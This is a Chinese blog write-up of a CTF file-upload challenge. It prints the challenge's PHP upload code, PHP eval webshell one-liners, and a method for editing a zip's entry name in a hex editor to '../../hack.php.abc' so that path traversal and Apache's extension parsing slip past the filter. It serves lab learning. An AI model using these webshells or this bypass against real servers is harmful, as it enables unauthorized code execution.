i春秋-ctf 文件上传

原创

<u>AAAAAAAAAAAAA66</u> → ± 2021-11-08 22:46:50 发布 → ± 1173 ↓ w藏 2 分类专栏: <u>CTF -WEB 学习</u> 文章标签: <u>php apache 网络安全</u> 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/AAAAAAAAAAAA66/article/details/121217024</u> 版权



<u>CTF-WEB 学习 专栏收录该内容</u> 34 篇文章 1 订阅 订阅专栏

- 前言
- 一、题目
- 二、解题步骤
 - 1.我的错误思路
 - 2.正确解题姿势
- 总结

前言

CTF小白,这道题思考了很久,i春秋上现在也没write up,卡了1天了,后面在buuctf找到了题解答。通过这一 天让我对文件上传有了更深的理解。

目录

文章目录

一、题目

进入环境。

二、解题步骤

1.我的错误思路

2.正确解题姿势

总结

一道普通的文件上传题,通过一天的思考我得到这类题目的思路总结。

提示:以下是本篇文章正文内容,下面案例可供参考



require_once('pclzip.lib.php');

if(!\$_FILES){

<?php

二、解题步骤

1.我的一开始错误思路,如果想直接看正确解法请直接跳过

1.因为之前写过类似的题目,刚上手比较兴奋,草草的按个F12发现没看到啥重要的,直接开始做。 话不多说,直接上传一个php文件。

| eci-2ze0rz74ppzjzcjpuise.cloudec × + | |
|--|---|
| \leftarrow \rightarrow C \textcircled{a} O | A eci-2ze0rz74ppzjzcjpuise.cloudeci1.ichunqiu.com |
| 🗋 火狐官方站点 🗋 火狐官方站点 🍯 新手上路 | 🗋 常用网址 🔽 天猫双11 💮 京东商城 🗋 常用网址 💮 京东商城 🖞 附加组件管理器 |
| | |

仅允许上传zip、jpg、gif、png文件!

CSDN @AAAAAAAAAAAAA66

CSDN @AAAAAAAAAAAAA66

果不其然 寄。

莫慌,我用burp suite改个jpg后缀。

| Burp Suite Community Edition v1.7.33 - Temporary Project | - 🗆 X |
|---|-------------------|
| Burp Intruder Repeater Window Help | |
| Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts | |
| Intercept HTTP history WebSockets history Options | |
| Request to http://eci-2ze0rz74ppzjzcjpuise.cloudeci1.ichunqiu.com:80 [111.202.98.85] | |
| Forward Drop Intercept is on Action | Comment this item |
| Raw Params Headers Hex | |
| PUST / HTTP/1.1
Host: eci-2zeOrz74ppzjzcjpuise.cloudecil.ichunquu.com | ŕ |
| User-Agent: hogilia/s.0 (winnows NI 10.0; winne4; xe4; tv:94.0) Gecno/Lubulo Fifetox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Decompt_memory.co.phc/Useb.com/Schemers.com/Schem | |
| Accept-Language: zn-Un;zn,q-U.5;zn-1#,q-U.7;zn-nx;q-U.5;en-U5;q-U.5;en,q-U.2
Accept-Encoding: gzip, deflate
Content-Tune: multimart form-data: houndaryz= | |
| Content-Length: 261
Origin: http://ei-2zeOrz74pnzizcipuise_cloudecil.ichungiu.com | |
| Connection: close
Referer: http://eci-2zeOrz74ppzjzcjpuise.cloudecil.ichunqiu.com/ | |
| Cookie: _jsluid_h=d3588953d240f973520965804b69929c
Upgrade-Insecure-Requests: 1 | |
| 31685664867749122911186595754 | |
| Content-Disposition: form-data; name="file"; filename="lll.jpg"
Content-Type: application/octet-stream | |
| <pre><?php @eval(\$_POST['pass']);?></pre> | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| 7 + > Type a search term | |
| | |
| | |
| eci-zzeUrz/4ppzjzcjpuise.cloudec × + | |
| ← → C lb O lb eci-2ze0rz74ppzjzcjpuise.cloudeci1.ichunqiu.com | 器 公 |
| 🗅 火狐官方站点 🕒 火狐官方站点 🍯 新手上路 🗋 常用网址 📘 天猫双11 🕀 京东商城 🗋 常用网址 🕀 京东商城 🖞 附加组件管理器 | |

上传成功!

我立马想到的是用蚁剑去连接。

成功。

emm 文件上传到那呢???

查了一下资料,一般在地址后面加个upload。

 Index of /upload
 ×
 +

 ← → C 命
 ○ & eci-2ze0rz74ppzjzcjpuise.cloudeci1.ichunqiu.com/upload/

 □ 火狐官方站点
 ● 新手上路
 □ 常用网址
 〒 天猫双11
 ● 京东商城
 ① 附加组件管理器

Index of /upload

 Name
 Last modified
 Size Description

 Parent Directory

 03f4ca2f327e47610cb7e8177a6e819d/

Apache/2.4.7 (Ubuntu) Server at eci-2ze0rz74ppzjzcjpuise.cloudeci1.ichunqiu.com Port 80

CSDN @AAAAAAAAAAAAA66

拿我的蚁剑连接

管理 (0)						▶ 分类目:	录 (1)
址	IP地址		创建时间	更新时间		❻ 添加	A重
						🗅 默认统	分类
🗖 添加数据				- 🗆	×		
o 添加 ×	清空 👘 🔿 测试连接						
自基础配置					~		
un bitle t					*		
UKL TE TE	http://eci-2zefs2aa	42of2spsvh3c.clo	udeci1.ichunqiu.com	/upload/e8e42d9			
住接密的*	hack						
网站备注							
编码设置	UTF8	\cap		~			
连接类型	PHP			*			
	○ default (不推荐)						
	○ random (不推荐)					
	base64				-		
e 请求信息					^		
✿:其他设置					~		

寄!!!!重新试了几遍,一样。

我一度怀疑是我的蚁剑坏了,所以我在之前的一个题目试了一下,没坏。

好吧, 病急乱投医。

啥%00截断,.htaccess,图片木马啥都给我试一遍。。。

结果可想而知。。。。。

0 0 0 0

后面我开始总结,思考(网上暂时没找到write up 只能自己想),并且深入的去想题目下面的代码(没错下面有 后端php验证的源码,我中间才看到的。)

<?php header("Content-Type:text/html; charset=utf-8"); // 每5分钟会清除一次目录下上传的文件 require_once('pclzip.lib.php');

if(!\$_FILES){

echo '

<!DOCTYPE html>

```
<html lang="zh">
<head>
   <meta charset="UTF-8" />
   <meta name="viewport" content="width=device-width, initial-scale=1.0" />
   <meta http-equiv="X-UA-Compatible" content="ie=edge" />
   <title>文件上传章节练习题</title>
   <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" i</pre>
   <style type="text/css">
        .login-box{
           margin-top: 100px;
           height: 500px;
           border: 1px solid #000;
       }
        body{
           background: white;
        }
        .btn1{
           width: 200px;
        }
        .d1{
           display: block;
           height: 400px;
       }
   </style>
</head>
<body>
   <div class="container">
        <div class="login-box col-md-12">
        <form class="form-horizontal" method="post" enctype="multipart/form-data" >
            <h1>文件上传章节练习题</h1>
            <hr />
            <div class="form-group">
                <label class="col-sm-2 control-label">选择文件: </label>
                <div class="input-group col-sm-10">
                    <div >
                    <label for="">
                        <input type="file" name="file" />
                    </label>
                    </div>
                </div>
            </div>
        <div class="col-sm-8 text-right">
            <input type="submit" class="btn btn-success text-right btn1" />
        </div>
        </form>
        </div>
   </div>
</body>
</html>
';
   show_source(__FILE__);
}else{
   $file = $_FILES['file'];
   if(!$file){
        exit("请勿上传空文件");
   }
   $name = $file['name']:
```

```
$dir = 'upload/';
$ext = strtolower(substr(strrchr($name, '.'), 1));
$path = $dir.$name;
function check_dir($dir){
    $handle = opendir($dir);
    while(($f = readdir($handle)) !== false){
        if(!in_array($f, array('.', '..'))){
            if(is_dir($dir.$f)){
                check_dir($dir.$f.'/');
             }else{
                $ext = strtolower(substr(strrchr($f, '.'), 1));
                if(!in_array($ext, array('jpg', 'gif', 'png'))){
                    unlink($dir.$f);
               }
           }
       }
    }
}
if(!is_dir($dir)){
    mkdir($dir);
}
$temp_dir = $dir.md5(time(). rand(1000,9999));
if(!is_dir($temp_dir)){
    mkdir($temp_dir);
}
if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
    if($ext == 'zip'){
        $archive = new PclZip($file['tmp_name']);
        foreach($archive->listContent() as $value){
           $filename = $value["filename"];
            if(preg_match('/\.php$/', $filename)){
                exit("压缩包内不允许含有php文件!");
            }
        }
        if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
            check_dir($dir);
              exit("解压失败");
       }
        check_dir($dir);
        exit('上传成功!');
    }else{
        move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
       check_dir($dir);
       exit('上传成功!');
    }
}else{
    exit('仅允许上传zip、jpg、gif、png文件!');
}
```

}

反思:

1.盲目的使用前端绕过,上传图片木马后,图片未解析就用蚁剑连接。

2.没有细心的理解源码

3. 上传的任何脚本,都必须要被服务器解析才能运行。

2.正确解题姿势

阅读源码可得:

1.后端执行的是白名单过滤,仅允许上传zip、jpg、gif、png后缀的文件。

2.上传后的文件放在upload路径下,rand函数加hash随机命名

3.对于zip文件,如果解压后,文件夹中含有php文件,就将其移除。

结合之前进入文件目录后,发现服务器是APACHE,这里可以使用apache天生的解析漏洞。

如果遇到无法解析的后缀名会向前解析.

例: 123.php.abc 先解析abc,无法解析后解析PHP。

这样就成功绕过了zip解压后的文件验证。

步骤如下

1.在文件夹中创立一个php小马 <?php @eval(\$_POST['hack']);?

| 白树 | N . | * 11月11日月1 | 天里 | | | | | | |
|-----|------------------------|------------------------------------|----------------|--|--|--|--|--|--|
| | 11111111111111111 | 2021/10/26 15:09 | 文件 | | | | | | |
| | ፼ 压缩文件名和参数 | ? | × | | | | | | |
| | 常规 高级 选项 文件 イ | 备份 时间 注释 | | | | | | | |
| | 压缩文件名(A) | 浏览(| (B) | | | | | | |
| | 111111111111111111.zip | | \sim | | | | | | |
| | 默认配置 | 更新模式(U) | | | | | | | |
| | 配置文件(F) | 添加并替换文件 | \sim | | | | | | |
| | 压缩文件格式 | 压缩选项 | | | | | | | |
| | ⊖RAR ⊖RAR4 ●ZIP | ○ RAR ○ RAR4 ● ZIP □ 压缩后删除原来的文件(D) | | | | | | | |
| 30字 | 压缩方式(C) | □ 创建目解压格式压缩又件(X) | | | | | | | |
| | 标准 ~ | □ 固建回头压缩文件(5) | | | | | | | |
| | 字曲大小m | □ 测试压缩的文件(T) | | | | | | | |
| | 32 KB ~ | □ 锁定压缩文件(L) | | | | | | | |
| | | | | | | | | | |
| | ✓ MB ∨ | 设置密码(P) | | | | | | | |
| | | | | | | | | | |
| | 确定 | 取消 | 助 | | | | | | |
| | | CEDN QAA | AAAAAAAAAAAAAA | | | | | | |

4打开010editor(没下的点击看教程下载)在这里打开zip文件。

| Fil | e E | dit | Sea | rch | Vie | ew | Foi | rmat | t S | crip | ts | Ten | np | lates Tools | Windo | w | Help | |
|-----|------|-------------|--------------|------|------|-----|------------|-----------|-----------|------|------------|------|----|------------------------|--------------------|---------------|---------------------------|------------|
| | | | - | 0 | J | | Þ | 18 | ЪĘ | 6 | 2 4 | 9 6 | Ы | i 🔎 🎜 🗖 | → + A ₄ | \supset | ⊾ Hex 📰 ¶ 📑 🛄 I 🖬 🖗 | 🐢 뇄 🗽 |
| 11 | 1111 | 111 | 111 | 1111 | 111. | zip | x | | | | | | | | | $\overline{}$ | Variables | |
| Ŧ | Edi | t As | : He | ex 🗸 | Ru | n S | crip | t V | Rı | un T | emp | late | : | ZIP.bt ∨ ▷ | | | Name | Value |
| | | . 5 | 6 | 7 | 8 | 9 | A | B | Ç | D | Ę | F | | 0123456789 | ABCDEF | - | > struct ZIPFILERECORD re | 1111111111 |
| 000 | 00h: | 100 |) ()
) 15 | 00 | 08 | 00 | 21 | 79 | 5A | 53 | BA | 89 | | РК | yZS⁰‰ | | > struct ZIPDIRENTRY dirE | 1111111111 |
| 001 | 0h. | 1 31 |) IC
 31 | 31 | 31 | 31 | 31 | 31 | 31 | 31 | 31 | 31 | | 11111111111 | 111111 | | > STRUCT ZIPENDLOCATOR | |
| 003 | 80h: | 3 50 | 0 70 | 48 | 2D | 4B | CC | D1 | 50 | 89 | ØF | FØ | | ³ ±/È(PpH-K | ÌÑP‰.ð | | | |
| 004 | 10h: | - 48 | 3 20 | 2E | 56 | 8F | D5 | B4 | B6 | B7 | Ø 3 | 00 | | ‰V/H,.V. | Õ´¶∙ | | | |
| 005 | 60h: | - 00 | 9 14 | 00 | 00 | 00 | 0 8 | 00 | 21 | 79 | 5A | 53 | | РК | !yZS | | | |
| 006 | 60h: | 3 00 | 00 6 | 00 | 1E | 00 | 00 | 00 | 12 | 00 | 24 | 00 | | °‰E | \$. | | | |
| 007 | Wh: | 1 0(
1 2 | 0 20
1 21 | 21 | 21 | 21 | 21 | 21 | 21 | 21 | 31 | 31 | | 11111111111 | 1111111 | | | |
| 000 | 0h | 3 00 | 3 00 | 00 | 01 | 00 | 18 | 00 | 10 | 90 | B7 | 5B | | | ٦. | | | |
| 00A | 0h: | 4 9: | L D6 | 14 | 64 | D4 | D7 | 01 | 19 | 17 | 08 | CC | | 8Ê×.d'Ö.dÔ | ×Ì | | | |
| 00E | 80h: | ð 41 | 3 05 | 06 | 00 | 00 | 00 | 00 | 01 | 00 | 01 | 00 | | çÓ×. <mark>PK</mark> | | | | |
| 000 | 0h: | <u>3</u> 0(| 00 0 | 00 | 00 | 00 | | | | | | | | dP | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | | CSDN @AAAAAAAA | ААААбб |

5.将111111111111111111111改为../../hack.php.abc (18个1是我这个文件名要修改的长度,可以根据自己要创立 的文件名长度自行修改(比如../../shell.php.abc 就写19个1)) (../../是为了上传到根目录)

| | | ~ | _ | _ | | _ | ~ | _ | | | | - | | |
|---|-------|--------------|------|-----|------|------------|-----|--------------|------|------------|------|-----|-------|--------------------------------------|
| | | | × ۲ | | | ₀∥ | | ð | 1.8 | þЦ | | | 26 | 🛛 🖓 🖓 🏓 🛛 🗛 🛶 🖿 📰 |
| | 1111 | 111 | 111 | 111 | .111 | 11. | ziŗ |) # X | | | | | | $<$ $>$ \bigtriangledown Output |
| 1 | ₹ Ed | lit | As: | He | хV | Ru | n S | crip | nt V | Rı | .m T | emp | late: | : ZIP.bt > > Executing template |
| | | | 5 | 6 | 7 | 8 | 9 | Ą | Ŗ | Ċ | Ď | Ę | Ę | 0123456789ABCDEF Template executed a |
| | 0000h | n : 4 | 00 | 00 | 00 | 0 8 | 00 | 21 | 79 | 5A | 53 | BA | 89 | PK!yZS≌‱ |
| | 0010h | n:ð | 00 | 1E | 00 | 00 | 00 | 12 | 00 | 00 | 00 | 31 | 31 | E11 |
| Ľ | 0020h | 1: 1 | (31) | 31 | 31 | 31 | 31 | 31 | 31 | 31 | 31 | 31 | 31 | 111111111111111 |
| | 0030h | 1 : 3 | 50 | 70 | 48 | 2D | 4B | СС | D1 | 50 | 89 | ØF | F0 | ³ ±/Ė(PpH-KİŇP‰.ð |
| | 0040h | 1 : F | 48 | 2C | 2E | 56 | 8F | D5 | B4 | B6 | B7 | 03 | 00 | ‰V/H,.V.Ö´¶· |
| 1 | 0050h | 1:F | 00 | 14 | 00 | 00 | 00 | 0 8 | 00 | 21 | 79 | 5A | 53 | PK!yZS |
| | 0060h | 1:3 | 00 | 00 | 00 | 1E | 00 | 00 | 00 | 12 | 00 | 24 | 00 | °‰E\$. |
| 4 | 0070h | 1:3 | 00 | 20 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 2E | 2E | ····· |
| 1 | 0080h | 1:8 | 61 | 63 | 6B | 2E | 70 | 68 | 70 | 2E | 61 | 62 | 63 | //hack.php.abc |
| | 0090h | 1:5 | 14 | 64 | D4 | D7 | 01 | 19 | 17 | 0 8 | CC | E7 | D3 | ×.d'0.d0×Iç0 |
| 5 | 00A0h | 1:5 | 06 | 00 | 00 | 00 | 00 | 01 | 00 | 01 | 00 | 64 | 00 | ×.PKd. |
| | 00B0h | 1:3 | 00 | 00 | 00 | | | | | | | | | P |
| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |
| E | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | |
| 7 | | | | | | | | | | | | | | |
| 1 | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | C3D11@++++++++++400 |

6.上传

| Q | |
|------|--|
| | < > 🖒 🏠 🚖 eci-2zefs2aa42of2spsvh3c.cloudeci1.ichunqiu.com |
| ē | 🛨 书签 🗌 🕀 NOW直播 📘 天猫精选 🔟 京东商城 诊 腾讯视频 ' 🛗 计算机组成原理第 🗍 企鹅电竞 🕰 游戏中心 🔞 爱淘宝 |
| ☆ | 上传成功! |
| | |
| Q | |
| | |
| LIVE | |
| ŗ | |

CSDN @AAAAAAAAAAAA66

7.进入上传路径,获得flag



CSDN @AAAAAAAAAAAA66

总结

还是要多懂得一些原理,容易解答题目,不然容易盲目寻求方式,这里我一直卡在前端验证的思路上,根本没 有仔细看源码。

作者水平有限,有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法 行为,后果自负!



<u>创作打卡挑战赛</u> 赢取流量/现金/CSDN周边激励大奖